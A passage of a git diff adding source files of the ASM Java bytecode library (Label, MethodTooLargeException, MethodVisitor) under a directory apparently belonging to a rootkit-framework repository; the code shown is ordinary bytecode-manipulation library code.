CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A position in the bytecode of a method. Labels are used for jump, goto, and switch instructions, + * and for try catch blocks. A label designates the instruction that is just after. Note + * however that there can be other elements between a label and the instruction it designates (such + * as other labels, stack map frames, line numbers, etc.). + * + * @author Eric Bruneton + */ +public class Label { + + /** + * A flag indicating that a label is only used for debug attributes. Such a label is not the start + * of a basic block, the target of a jump instruction, or an exception handler. It can be safely + * ignored in control flow graph analysis algorithms (for optimization purposes). + */ + static final int FLAG_DEBUG_ONLY = 1; + + /** + * A flag indicating that a label is the target of a jump instruction, or the start of an + * exception handler. + */ + static final int FLAG_JUMP_TARGET = 2; + + /** A flag indicating that the bytecode offset of a label is known. */ + static final int FLAG_RESOLVED = 4; + + /** A flag indicating that a label corresponds to a reachable basic block. */ + static final int FLAG_REACHABLE = 8; + + /** + * A flag indicating that the basic block corresponding to a label ends with a subroutine call. By + * construction in {@link MethodWriter#visitJumpInsn}, labels with this flag set have at least two + * outgoing edges: + * + *
    + *
  • the first one corresponds to the instruction that follows the jsr instruction in the + * bytecode, i.e. where execution continues when it returns from the jsr call. This is a + * virtual control flow edge, since execution never goes directly from the jsr to the next + * instruction. Instead, it goes to the subroutine and eventually returns to the instruction + * following the jsr. This virtual edge is used to compute the real outgoing edges of the + * basic blocks ending with a ret instruction, in {@link #addSubroutineRetSuccessors}. + *
  • the second one corresponds to the target of the jsr instruction, + *
+ */ + static final int FLAG_SUBROUTINE_CALLER = 16; + + /** + * A flag indicating that the basic block corresponding to a label is the start of a subroutine. + */ + static final int FLAG_SUBROUTINE_START = 32; + + /** A flag indicating that the basic block corresponding to a label is the end of a subroutine. */ + static final int FLAG_SUBROUTINE_END = 64; + + /** + * The number of elements to add to the {@link #otherLineNumbers} array when it needs to be + * resized to store a new source line number. + */ + static final int LINE_NUMBERS_CAPACITY_INCREMENT = 4; + + /** + * The number of elements to add to the {@link #forwardReferences} array when it needs to be + * resized to store a new forward reference. + */ + static final int FORWARD_REFERENCES_CAPACITY_INCREMENT = 6; + + /** + * The bit mask to extract the type of a forward reference to this label. The extracted type is + * either {@link #FORWARD_REFERENCE_TYPE_SHORT} or {@link #FORWARD_REFERENCE_TYPE_WIDE}. + * + * @see #forwardReferences + */ + static final int FORWARD_REFERENCE_TYPE_MASK = 0xF0000000; + + /** + * The type of forward references stored with two bytes in the bytecode. This is the case, for + * instance, of a forward reference from an ifnull instruction. + */ + static final int FORWARD_REFERENCE_TYPE_SHORT = 0x10000000; + + /** + * The type of forward references stored in four bytes in the bytecode. This is the case, for + * instance, of a forward reference from a lookupswitch instruction. + */ + static final int FORWARD_REFERENCE_TYPE_WIDE = 0x20000000; + + /** + * The bit mask to extract the 'handle' of a forward reference to this label. The extracted handle + * is the bytecode offset where the forward reference value is stored (using either 2 or 4 bytes, + * as indicated by the {@link #FORWARD_REFERENCE_TYPE_MASK}). + * + * @see #forwardReferences + */ + static final int FORWARD_REFERENCE_HANDLE_MASK = 0x0FFFFFFF; + + /** + * A sentinel element used to indicate the end of a list of labels. + * + * @see #nextListElement + */ + static final Label EMPTY_LIST = new Label(); + + /** + * A user managed state associated with this label. Warning: this field is used by the ASM tree + * package. In order to use it with the ASM tree package you must override the getLabelNode method + * in MethodNode. + */ + public Object info; + + /** + * The type and status of this label or its corresponding basic block. Must be zero or more of + * {@link #FLAG_DEBUG_ONLY}, {@link #FLAG_JUMP_TARGET}, {@link #FLAG_RESOLVED}, {@link + * #FLAG_REACHABLE}, {@link #FLAG_SUBROUTINE_CALLER}, {@link #FLAG_SUBROUTINE_START}, {@link + * #FLAG_SUBROUTINE_END}. + */ + short flags; + + /** + * The source line number corresponding to this label, or 0. If there are several source line + * numbers corresponding to this label, the first one is stored in this field, and the remaining + * ones are stored in {@link #otherLineNumbers}. + */ + private short lineNumber; + + /** + * The source line numbers corresponding to this label, in addition to {@link #lineNumber}, or + * null. The first element of this array is the number n of source line numbers it contains, which + * are stored between indices 1 and n (inclusive). + */ + private int[] otherLineNumbers; + + /** + * The offset of this label in the bytecode of its method, in bytes. This value is set if and only + * if the {@link #FLAG_RESOLVED} flag is set. + */ + int bytecodeOffset; + + /** + * The forward references to this label. The first element is the number of forward references, + * times 2 (this corresponds to the index of the last element actually used in this array). Then, + * each forward reference is described with two consecutive integers noted + * 'sourceInsnBytecodeOffset' and 'reference': + * + *
    + *
  • 'sourceInsnBytecodeOffset' is the bytecode offset of the instruction that contains the + * forward reference, + *
  • 'reference' contains the type and the offset in the bytecode where the forward reference + * value must be stored, which can be extracted with {@link #FORWARD_REFERENCE_TYPE_MASK} + * and {@link #FORWARD_REFERENCE_HANDLE_MASK}. + *
+ * + *

For instance, for an ifnull instruction at bytecode offset x, 'sourceInsnBytecodeOffset' is + * equal to x, and 'reference' is of type {@link #FORWARD_REFERENCE_TYPE_SHORT} with value x + 1 + * (because the ifnull instruction uses a 2 bytes bytecode offset operand stored one byte after + * the start of the instruction itself). For the default case of a lookupswitch instruction at + * bytecode offset x, 'sourceInsnBytecodeOffset' is equal to x, and 'reference' is of type {@link + * #FORWARD_REFERENCE_TYPE_WIDE} with value between x + 1 and x + 4 (because the lookupswitch + * instruction uses a 4 bytes bytecode offset operand stored one to four bytes after the start of + * the instruction itself). + */ + private int[] forwardReferences; + + // ----------------------------------------------------------------------------------------------- + + // Fields for the control flow and data flow graph analysis algorithms (used to compute the + // maximum stack size or the stack map frames). A control flow graph contains one node per "basic + // block", and one edge per "jump" from one basic block to another. Each node (i.e., each basic + // block) is represented with the Label object that corresponds to the first instruction of this + // basic block. Each node also stores the list of its successors in the graph, as a linked list of + // Edge objects. + // + // The control flow analysis algorithms used to compute the maximum stack size or the stack map + // frames are similar and use two steps. The first step, during the visit of each instruction, + // builds information about the state of the local variables and the operand stack at the end of + // each basic block, called the "output frame", relatively to the frame state at the + // beginning of the basic block, which is called the "input frame", and which is unknown + // during this step. The second step, in {@link MethodWriter#computeAllFrames} and {@link + // MethodWriter#computeMaxStackAndLocal}, is a fix point algorithm + // that computes information about the input frame of each basic block, from the input state of + // the first basic block (known from the method signature), and by the using the previously + // computed relative output frames. + // + // The algorithm used to compute the maximum stack size only computes the relative output and + // absolute input stack heights, while the algorithm used to compute stack map frames computes + // relative output frames and absolute input frames. + + /** + * The number of elements in the input stack of the basic block corresponding to this label. This + * field is computed in {@link MethodWriter#computeMaxStackAndLocal}. + */ + short inputStackSize; + + /** + * The number of elements in the output stack, at the end of the basic block corresponding to this + * label. This field is only computed for basic blocks that end with a RET instruction. + */ + short outputStackSize; + + /** + * The maximum height reached by the output stack, relatively to the top of the input stack, in + * the basic block corresponding to this label. This maximum is always positive or null. + */ + short outputStackMax; + + /** + * The id of the subroutine to which this basic block belongs, or 0. If the basic block belongs to + * several subroutines, this is the id of the "oldest" subroutine that contains it (with the + * convention that a subroutine calling another one is "older" than the callee). This field is + * computed in {@link MethodWriter#computeMaxStackAndLocal}, if the method contains JSR + * instructions. + */ + short subroutineId; + + /** + * The input and output stack map frames of the basic block corresponding to this label. This + * field is only used when the {@link MethodWriter#COMPUTE_ALL_FRAMES} or {@link + * MethodWriter#COMPUTE_INSERTED_FRAMES} option is used. + */ + Frame frame; + + /** + * The successor of this label, in the order they are visited in {@link MethodVisitor#visitLabel}. + * This linked list does not include labels used for debug info only. If the {@link + * MethodWriter#COMPUTE_ALL_FRAMES} or {@link MethodWriter#COMPUTE_INSERTED_FRAMES} option is used + * then it does not contain either successive labels that denote the same bytecode offset (in this + * case only the first label appears in this list). + */ + Label nextBasicBlock; + + /** + * The outgoing edges of the basic block corresponding to this label, in the control flow graph of + * its method. These edges are stored in a linked list of {@link Edge} objects, linked to each + * other by their {@link Edge#nextEdge} field. + */ + Edge outgoingEdges; + + /** + * The next element in the list of labels to which this label belongs, or null if it does not + * belong to any list. All lists of labels must end with the {@link #EMPTY_LIST} sentinel, in + * order to ensure that this field is null if and only if this label does not belong to a list of + * labels. Note that there can be several lists of labels at the same time, but that a label can + * belong to at most one list at a time (unless some lists share a common tail, but this is not + * used in practice). + * + *

List of labels are used in {@link MethodWriter#computeAllFrames} and {@link + * MethodWriter#computeMaxStackAndLocal} to compute stack map frames and the maximum stack size, + * respectively, as well as in {@link #markSubroutine} and {@link #addSubroutineRetSuccessors} to + * compute the basic blocks belonging to subroutines and their outgoing edges. Outside of these + * methods, this field should be null (this property is a precondition and a postcondition of + * these methods). + */ + Label nextListElement; + + // ----------------------------------------------------------------------------------------------- + // Constructor and accessors + // ----------------------------------------------------------------------------------------------- + + /** Constructs a new label. */ + public Label() { + // Nothing to do. + } + + /** + * Returns the bytecode offset corresponding to this label. This offset is computed from the start + * of the method's bytecode. This method is intended for {@link Attribute} sub classes, and is + * normally not needed by class generators or adapters. + * + * @return the bytecode offset corresponding to this label. + * @throws IllegalStateException if this label is not resolved yet. + */ + public int getOffset() { + if ((flags & FLAG_RESOLVED) == 0) { + throw new IllegalStateException("Label offset position has not been resolved yet"); + } + return bytecodeOffset; + } + + /** + * Returns the "canonical" {@link Label} instance corresponding to this label's bytecode offset, + * if known, otherwise the label itself. The canonical instance is the first label (in the order + * of their visit by {@link MethodVisitor#visitLabel}) corresponding to this bytecode offset. It + * cannot be known for labels which have not been visited yet. + * + *

This method should only be used when the {@link MethodWriter#COMPUTE_ALL_FRAMES} option + * is used. + * + * @return the label itself if {@link #frame} is null, otherwise the Label's frame owner. This + * corresponds to the "canonical" label instance described above thanks to the way the label + * frame is set in {@link MethodWriter#visitLabel}. + */ + final Label getCanonicalInstance() { + return frame == null ? this : frame.owner; + } + + // ----------------------------------------------------------------------------------------------- + // Methods to manage line numbers + // ----------------------------------------------------------------------------------------------- + + /** + * Adds a source line number corresponding to this label. + * + * @param lineNumber a source line number (which should be strictly positive). + */ + final void addLineNumber(final int lineNumber) { + if (this.lineNumber == 0) { + this.lineNumber = (short) lineNumber; + } else { + if (otherLineNumbers == null) { + otherLineNumbers = new int[LINE_NUMBERS_CAPACITY_INCREMENT]; + } + int otherLineNumberIndex = ++otherLineNumbers[0]; + if (otherLineNumberIndex >= otherLineNumbers.length) { + int[] newLineNumbers = new int[otherLineNumbers.length + LINE_NUMBERS_CAPACITY_INCREMENT]; + System.arraycopy(otherLineNumbers, 0, newLineNumbers, 0, otherLineNumbers.length); + otherLineNumbers = newLineNumbers; + } + otherLineNumbers[otherLineNumberIndex] = lineNumber; + } + } + + /** + * Makes the given visitor visit this label and its source line numbers, if applicable. + * + * @param methodVisitor a method visitor. + * @param visitLineNumbers whether to visit of the label's source line numbers, if any. + */ + final void accept(final MethodVisitor methodVisitor, final boolean visitLineNumbers) { + methodVisitor.visitLabel(this); + if (visitLineNumbers && lineNumber != 0) { + methodVisitor.visitLineNumber(lineNumber & 0xFFFF, this); + if (otherLineNumbers != null) { + for (int i = 1; i <= otherLineNumbers[0]; ++i) { + methodVisitor.visitLineNumber(otherLineNumbers[i], this); + } + } + } + } + + // ----------------------------------------------------------------------------------------------- + // Methods to compute offsets and to manage forward references + // ----------------------------------------------------------------------------------------------- + + /** + * Puts a reference to this label in the bytecode of a method. If the bytecode offset of the label + * is known, the relative bytecode offset between the label and the instruction referencing it is + * computed and written directly. Otherwise, a null relative offset is written and a new forward + * reference is declared for this label. + * + * @param code the bytecode of the method. This is where the reference is appended. + * @param sourceInsnBytecodeOffset the bytecode offset of the instruction that contains the + * reference to be appended. + * @param wideReference whether the reference must be stored in 4 bytes (instead of 2 bytes). + */ + final void put( + final ByteVector code, final int sourceInsnBytecodeOffset, final boolean wideReference) { + if ((flags & FLAG_RESOLVED) == 0) { + if (wideReference) { + addForwardReference(sourceInsnBytecodeOffset, FORWARD_REFERENCE_TYPE_WIDE, code.length); + code.putInt(-1); + } else { + addForwardReference(sourceInsnBytecodeOffset, FORWARD_REFERENCE_TYPE_SHORT, code.length); + code.putShort(-1); + } + } else { + if (wideReference) { + code.putInt(bytecodeOffset - sourceInsnBytecodeOffset); + } else { + code.putShort(bytecodeOffset - sourceInsnBytecodeOffset); + } + } + } + + /** + * Adds a forward reference to this label. This method must be called only for a true forward + * reference, i.e. only if this label is not resolved yet. For backward references, the relative + * bytecode offset of the reference can be, and must be, computed and stored directly. + * + * @param sourceInsnBytecodeOffset the bytecode offset of the instruction that contains the + * reference stored at referenceHandle. + * @param referenceType either {@link #FORWARD_REFERENCE_TYPE_SHORT} or {@link + * #FORWARD_REFERENCE_TYPE_WIDE}. + * @param referenceHandle the offset in the bytecode where the forward reference value must be + * stored. + */ + private void addForwardReference( + final int sourceInsnBytecodeOffset, final int referenceType, final int referenceHandle) { + if (forwardReferences == null) { + forwardReferences = new int[FORWARD_REFERENCES_CAPACITY_INCREMENT]; + } + int lastElementIndex = forwardReferences[0]; + if (lastElementIndex + 2 >= forwardReferences.length) { + int[] newValues = new int[forwardReferences.length + FORWARD_REFERENCES_CAPACITY_INCREMENT]; + System.arraycopy(forwardReferences, 0, newValues, 0, forwardReferences.length); + forwardReferences = newValues; + } + forwardReferences[++lastElementIndex] = sourceInsnBytecodeOffset; + forwardReferences[++lastElementIndex] = referenceType | referenceHandle; + forwardReferences[0] = lastElementIndex; + } + + /** + * Sets the bytecode offset of this label to the given value and resolves the forward references + * to this label, if any. This method must be called when this label is added to the bytecode of + * the method, i.e. when its bytecode offset becomes known. This method fills in the blanks that + * where left in the bytecode by each forward reference previously added to this label. + * + * @param code the bytecode of the method. + * @param bytecodeOffset the bytecode offset of this label. + * @return {@literal true} if a blank that was left for this label was too small to store the + * offset. In such a case the corresponding jump instruction is replaced with an equivalent + * ASM specific instruction using an unsigned two bytes offset. These ASM specific + * instructions are later replaced with standard bytecode instructions with wider offsets (4 + * bytes instead of 2), in ClassReader. + */ + final boolean resolve(final byte[] code, final int bytecodeOffset) { + this.flags |= FLAG_RESOLVED; + this.bytecodeOffset = bytecodeOffset; + if (forwardReferences == null) { + return false; + } + boolean hasAsmInstructions = false; + for (int i = forwardReferences[0]; i > 0; i -= 2) { + final int sourceInsnBytecodeOffset = forwardReferences[i - 1]; + final int reference = forwardReferences[i]; + final int relativeOffset = bytecodeOffset - sourceInsnBytecodeOffset; + int handle = reference & FORWARD_REFERENCE_HANDLE_MASK; + if ((reference & FORWARD_REFERENCE_TYPE_MASK) == FORWARD_REFERENCE_TYPE_SHORT) { + if (relativeOffset < Short.MIN_VALUE || relativeOffset > Short.MAX_VALUE) { + // Change the opcode of the jump instruction, in order to be able to find it later in + // ClassReader. These ASM specific opcodes are similar to jump instruction opcodes, except + // that the 2 bytes offset is unsigned (and can therefore represent values from 0 to + // 65535, which is sufficient since the size of a method is limited to 65535 bytes). + int opcode = code[sourceInsnBytecodeOffset] & 0xFF; + if (opcode < Opcodes.IFNULL) { + // Change IFEQ ... JSR to ASM_IFEQ ... ASM_JSR. + code[sourceInsnBytecodeOffset] = (byte) (opcode + Constants.ASM_OPCODE_DELTA); + } else { + // Change IFNULL and IFNONNULL to ASM_IFNULL and ASM_IFNONNULL. + code[sourceInsnBytecodeOffset] = (byte) (opcode + Constants.ASM_IFNULL_OPCODE_DELTA); + } + hasAsmInstructions = true; + } + code[handle++] = (byte) (relativeOffset >>> 8); + code[handle] = (byte) relativeOffset; + } else { + code[handle++] = (byte) (relativeOffset >>> 24); + code[handle++] = (byte) (relativeOffset >>> 16); + code[handle++] = (byte) (relativeOffset >>> 8); + code[handle] = (byte) relativeOffset; + } + } + return hasAsmInstructions; + } + + // ----------------------------------------------------------------------------------------------- + // Methods related to subroutines + // ----------------------------------------------------------------------------------------------- + + /** + * Finds the basic blocks that belong to the subroutine starting with the basic block + * corresponding to this label, and marks these blocks as belonging to this subroutine. This + * method follows the control flow graph to find all the blocks that are reachable from the + * current basic block WITHOUT following any jsr target. + * + *

Note: a precondition and postcondition of this method is that all labels must have a null + * {@link #nextListElement}. + * + * @param subroutineId the id of the subroutine starting with the basic block corresponding to + * this label. + */ + final void markSubroutine(final short subroutineId) { + // Data flow algorithm: put this basic block in a list of blocks to process (which are blocks + // belonging to subroutine subroutineId) and, while there are blocks to process, remove one from + // the list, mark it as belonging to the subroutine, and add its successor basic blocks in the + // control flow graph to the list of blocks to process (if not already done). + Label listOfBlocksToProcess = this; + listOfBlocksToProcess.nextListElement = EMPTY_LIST; + while (listOfBlocksToProcess != EMPTY_LIST) { + // Remove a basic block from the list of blocks to process. + Label basicBlock = listOfBlocksToProcess; + listOfBlocksToProcess = listOfBlocksToProcess.nextListElement; + basicBlock.nextListElement = null; + + // If it is not already marked as belonging to a subroutine, mark it as belonging to + // subroutineId and add its successors to the list of blocks to process (unless already done). + if (basicBlock.subroutineId == 0) { + basicBlock.subroutineId = subroutineId; + listOfBlocksToProcess = basicBlock.pushSuccessors(listOfBlocksToProcess); + } + } + } + + /** + * Finds the basic blocks that end a subroutine starting with the basic block corresponding to + * this label and, for each one of them, adds an outgoing edge to the basic block following the + * given subroutine call. In other words, completes the control flow graph by adding the edges + * corresponding to the return from this subroutine, when called from the given caller basic + * block. + * + *

Note: a precondition and postcondition of this method is that all labels must have a null + * {@link #nextListElement}. + * + * @param subroutineCaller a basic block that ends with a jsr to the basic block corresponding to + * this label. This label is supposed to correspond to the start of a subroutine. + */ + final void addSubroutineRetSuccessors(final Label subroutineCaller) { + // Data flow algorithm: put this basic block in a list blocks to process (which are blocks + // belonging to a subroutine starting with this label) and, while there are blocks to process, + // remove one from the list, put it in a list of blocks that have been processed, add a return + // edge to the successor of subroutineCaller if applicable, and add its successor basic blocks + // in the control flow graph to the list of blocks to process (if not already done). + Label listOfProcessedBlocks = EMPTY_LIST; + Label listOfBlocksToProcess = this; + listOfBlocksToProcess.nextListElement = EMPTY_LIST; + while (listOfBlocksToProcess != EMPTY_LIST) { + // Move a basic block from the list of blocks to process to the list of processed blocks. + Label basicBlock = listOfBlocksToProcess; + listOfBlocksToProcess = basicBlock.nextListElement; + basicBlock.nextListElement = listOfProcessedBlocks; + listOfProcessedBlocks = basicBlock; + + // Add an edge from this block to the successor of the caller basic block, if this block is + // the end of a subroutine and if this block and subroutineCaller do not belong to the same + // subroutine. + if ((basicBlock.flags & FLAG_SUBROUTINE_END) != 0 + && basicBlock.subroutineId != subroutineCaller.subroutineId) { + basicBlock.outgoingEdges = + new Edge( + basicBlock.outputStackSize, + // By construction, the first outgoing edge of a basic block that ends with a jsr + // instruction leads to the jsr continuation block, i.e. where execution continues + // when ret is called (see {@link #FLAG_SUBROUTINE_CALLER}). + subroutineCaller.outgoingEdges.successor, + basicBlock.outgoingEdges); + } + // Add its successors to the list of blocks to process. Note that {@link #pushSuccessors} does + // not push basic blocks which are already in a list. Here this means either in the list of + // blocks to process, or in the list of already processed blocks. This second list is + // important to make sure we don't reprocess an already processed block. + listOfBlocksToProcess = basicBlock.pushSuccessors(listOfBlocksToProcess); + } + // Reset the {@link #nextListElement} of all the basic blocks that have been processed to null, + // so that this method can be called again with a different subroutine or subroutine caller. + while (listOfProcessedBlocks != EMPTY_LIST) { + Label newListOfProcessedBlocks = listOfProcessedBlocks.nextListElement; + listOfProcessedBlocks.nextListElement = null; + listOfProcessedBlocks = newListOfProcessedBlocks; + } + } + + /** + * Adds the successors of this label in the method's control flow graph (except those + * corresponding to a jsr target, and those already in a list of labels) to the given list of + * blocks to process, and returns the new list. + * + * @param listOfLabelsToProcess a list of basic blocks to process, linked together with their + * {@link #nextListElement} field. + * @return the new list of blocks to process. + */ + private Label pushSuccessors(final Label listOfLabelsToProcess) { + Label newListOfLabelsToProcess = listOfLabelsToProcess; + Edge outgoingEdge = outgoingEdges; + while (outgoingEdge != null) { + // By construction, the second outgoing edge of a basic block that ends with a jsr instruction + // leads to the jsr target (see {@link #FLAG_SUBROUTINE_CALLER}). + boolean isJsrTarget = + (flags & Label.FLAG_SUBROUTINE_CALLER) != 0 && outgoingEdge == outgoingEdges.nextEdge; + if (!isJsrTarget && outgoingEdge.successor.nextListElement == null) { + // Add this successor to the list of blocks to process, if it does not already belong to a + // list of labels. + outgoingEdge.successor.nextListElement = newListOfLabelsToProcess; + newListOfLabelsToProcess = outgoingEdge.successor; + } + outgoingEdge = outgoingEdge.nextEdge; + } + return newListOfLabelsToProcess; + } + + // ----------------------------------------------------------------------------------------------- + // Overridden Object methods + // ----------------------------------------------------------------------------------------------- + + /** + * Returns a string representation of this label. + * + * @return a string representation of this label. + */ + @Override + public String toString() { + return "L" + System.identityHashCode(this); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/MethodTooLargeException.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/MethodTooLargeException.java new file mode 100644 index 0000000..0097e39 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/MethodTooLargeException.java @@ -0,0 +1,99 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * Exception thrown when the Code attribute of a method produced by a {@link ClassWriter} is too + * large. + * + * @author Jason Zaugg + */ +public final class MethodTooLargeException extends IndexOutOfBoundsException { + private static final long serialVersionUID = 6807380416709738314L; + + private final String className; + private final String methodName; + private final String descriptor; + private final int codeSize; + + /** + * Constructs a new {@link MethodTooLargeException}. + * + * @param className the internal name of the owner class. + * @param methodName the name of the method. + * @param descriptor the descriptor of the method. + * @param codeSize the size of the method's Code attribute, in bytes. + */ + public MethodTooLargeException( + final String className, + final String methodName, + final String descriptor, + final int codeSize) { + super("Method too large: " + className + "." + methodName + " " + descriptor); + this.className = className; + this.methodName = methodName; + this.descriptor = descriptor; + this.codeSize = codeSize; + } + + /** + * Returns the internal name of the owner class. + * + * @return the internal name of the owner class. + */ + public String getClassName() { + return className; + } + + /** + * Returns the name of the method. + * + * @return the name of the method. + */ + public String getMethodName() { + return methodName; + } + + /** + * Returns the descriptor of the method. + * + * @return the descriptor of the method. + */ + public String getDescriptor() { + return descriptor; + } + + /** + * Returns the size of the method's Code attribute, in bytes. + * + * @return the size of the method's Code attribute, in bytes. + */ + public int getCodeSize() { + return codeSize; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/MethodVisitor.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/MethodVisitor.java new file mode 100644 index 0000000..144e997 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/MethodVisitor.java @@ -0,0 +1,781 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * A visitor to visit a Java method. The methods of this class must be called in the following + * order: ( {@code visitParameter} )* [ {@code visitAnnotationDefault} ] ( {@code visitAnnotation} | + * {@code visitAnnotableParameterCount} | {@code visitParameterAnnotation} {@code + * visitTypeAnnotation} | {@code visitAttribute} )* [ {@code visitCode} ( {@code visitFrame} | + * {@code visitXInsn} | {@code visitLabel} | {@code visitInsnAnnotation} | {@code + * visitTryCatchBlock} | {@code visitTryCatchAnnotation} | {@code visitLocalVariable} | {@code + * visitLocalVariableAnnotation} | {@code visitLineNumber} )* {@code visitMaxs} ] {@code visitEnd}. + * In addition, the {@code visitXInsn} and {@code visitLabel} methods must be called in the + * sequential order of the bytecode instructions of the visited code, {@code visitInsnAnnotation} + * must be called after the annotated instruction, {@code visitTryCatchBlock} must be called + * before the labels passed as arguments have been visited, {@code + * visitTryCatchBlockAnnotation} must be called after the corresponding try catch block has + * been visited, and the {@code visitLocalVariable}, {@code visitLocalVariableAnnotation} and {@code + * visitLineNumber} methods must be called after the labels passed as arguments have been + * visited. + * + * @author Eric Bruneton + */ +public abstract class MethodVisitor { + + private static final String REQUIRES_ASM5 = "This feature requires ASM5"; + + /** + * The ASM API version implemented by this visitor. The value of this field must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + */ + protected final int api; + + /** The method visitor to which this visitor must delegate method calls. May be null. */ + protected MethodVisitor mv; + + /** + * Constructs a new {@link MethodVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + */ + public MethodVisitor(final int api) { + this(api, null); + } + + /** + * Constructs a new {@link MethodVisitor}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + * @param methodVisitor the method visitor to which this visitor must delegate method calls. May + * be null. + */ + public MethodVisitor(final int api, final MethodVisitor methodVisitor) { + if (api != Opcodes.ASM6 && api != Opcodes.ASM5 && api != Opcodes.ASM4 && api != Opcodes.ASM7) { + throw new IllegalArgumentException(); + } + this.api = api; + this.mv = methodVisitor; + } + + // ----------------------------------------------------------------------------------------------- + // Parameters, annotations and non standard attributes + // ----------------------------------------------------------------------------------------------- + + /** + * Visits a parameter of this method. + * + * @param name parameter name or null if none is provided. + * @param access the parameter's access flags, only {@code ACC_FINAL}, {@code ACC_SYNTHETIC} + * or/and {@code ACC_MANDATED} are allowed (see {@link Opcodes}). + */ + public void visitParameter(final String name, final int access) { + if (api < Opcodes.ASM5) { + throw new UnsupportedOperationException(REQUIRES_ASM5); + } + if (mv != null) { + mv.visitParameter(name, access); + } + } + + /** + * Visits the default value of this annotation interface method. + * + * @return a visitor to the visit the actual default value of this annotation interface method, or + * {@literal null} if this visitor is not interested in visiting this default value. The + * 'name' parameters passed to the methods of this annotation visitor are ignored. Moreover, + * exacly one visit method must be called on this annotation visitor, followed by visitEnd. + */ + public AnnotationVisitor visitAnnotationDefault() { + if (mv != null) { + return mv.visitAnnotationDefault(); + } + return null; + } + + /** + * Visits an annotation of this method. + * + * @param descriptor the class descriptor of the annotation class. + * @param visible {@literal true} if the annotation is visible at runtime. + * @return a visitor to visit the annotation values, or {@literal null} if this visitor is not + * interested in visiting this annotation. + */ + public AnnotationVisitor visitAnnotation(final String descriptor, final boolean visible) 